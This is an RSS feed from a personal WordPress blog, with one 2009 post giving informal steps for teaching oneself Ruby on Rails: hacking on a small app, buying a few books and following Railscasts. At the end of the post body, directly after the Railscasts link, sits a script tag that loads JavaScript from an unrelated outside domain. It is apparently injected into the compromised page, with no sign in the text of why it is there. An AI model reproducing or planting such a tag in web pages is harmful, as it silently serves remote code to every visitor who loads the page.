<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Microplop &#187; Final project</title>
	<atom:link href="http://www.microplop.com/post/category/final-project/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.microplop.com</link>
	<description>Ruby on Rails, rants and code from Andy Callaghan</description>
	<lastBuildDate>Mon, 18 May 2009 22:22:13 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Steps to learn Ruby on Rails</title>
		<link>http://www.microplop.com/post/steps-to-learn-ruby-on-rails/</link>
		<comments>http://www.microplop.com/post/steps-to-learn-ruby-on-rails/#comments</comments>
		<pubDate>Sun, 12 Apr 2009 21:16:41 +0000</pubDate>
		<dc:creator>Andy Callaghan</dc:creator>
				<category><![CDATA[Final project]]></category>
		<category><![CDATA[Open source]]></category>
		<category><![CDATA[Rails]]></category>
		<category><![CDATA[Tips and tricks]]></category>
		<category><![CDATA[lists]]></category>
		<category><![CDATA[Ruby on Rails]]></category>
		<category><![CDATA[tutorial]]></category>

		<guid isPermaLink="false">http://www.microplop.com/?p=299</guid>
		<description><![CDATA[I have pretty sucessfully taught myself Ruby on Rails from scratch with no real help from any one resource or book &#8211; in this post I will show you in some steps on how to learn the basics of Ruby on Rails, as well as some of the more detailed and difficult concepts to grasp.
In [...]]]></description>
			<content:encoded><![CDATA[<p>I have pretty sucessfully taught myself Ruby on Rails from scratch with no real help from any one resource or book &#8211; in this post I will show you in some steps on how to learn the basics of Ruby on Rails, as well as some of the more detailed and difficult concepts to grasp.</p>
<p>In this post I will assume that you have already programmed in an interpreted or compiled language &#8211; C++, Java, Perl, Python are all perfect starts to a programming career.</p>
<p>Make sure you read all of this article before you begin, so you can see how your Rails skills will develop.</p>
<h3>Start hacking</h3>
<p>This is how all good programmers begin: with a weekend of time and an old fashioned hack-a-thon. I personally started with building a simple recipe app with collections of recipes in according to ingredients etc&#8230; </p>
<ul>
<li>Install Ruby, Rails and Gems and get them working</li>
<li>If you&#8217;re on Windows, you need a Linux virtual machine to do your development in. You&#8217;ll have A LOT of problems with Rails&#8217; incompatibilities with Windows. Just do it, trust me!</li>
<li>Make the simple &#8216;Hello World&#8217; app.</li>
<li>Hack away.</li>
</ul>
<p>It is up to you this stage however.</p>
<h3>Buy a few decent books</h3>
<p>It&#8217;s all good me saying &#8220;Just get stuck in&#8221;, but I did need a lot of physical textual help with my learning curve of Ruby on Rails more complex areas. Not all the books that I bought were helpful or even in date, but there was a few that I found were invaluable to my learning.</p>
<h4>Book one: Advanced Rails Recipes</h4>
<h4>Book two: RailsSpace</h4>
<h4>Book three: Rails Recipes</h4>
<p> </p>
<h3>Subscribe to Railscasts</h3>
<p>Ryan Bates presents a weekly video podcast in all areas of Rails. The later episodes tend toward more advanced areas of Rails, but if you get all of the episodes, you will find it difficult to get stuck with development in Rails.<br />
<a href="http://www.railscasts.com">www.railscasts.com</a><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.microplop.com/post/steps-to-learn-ruby-on-rails/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
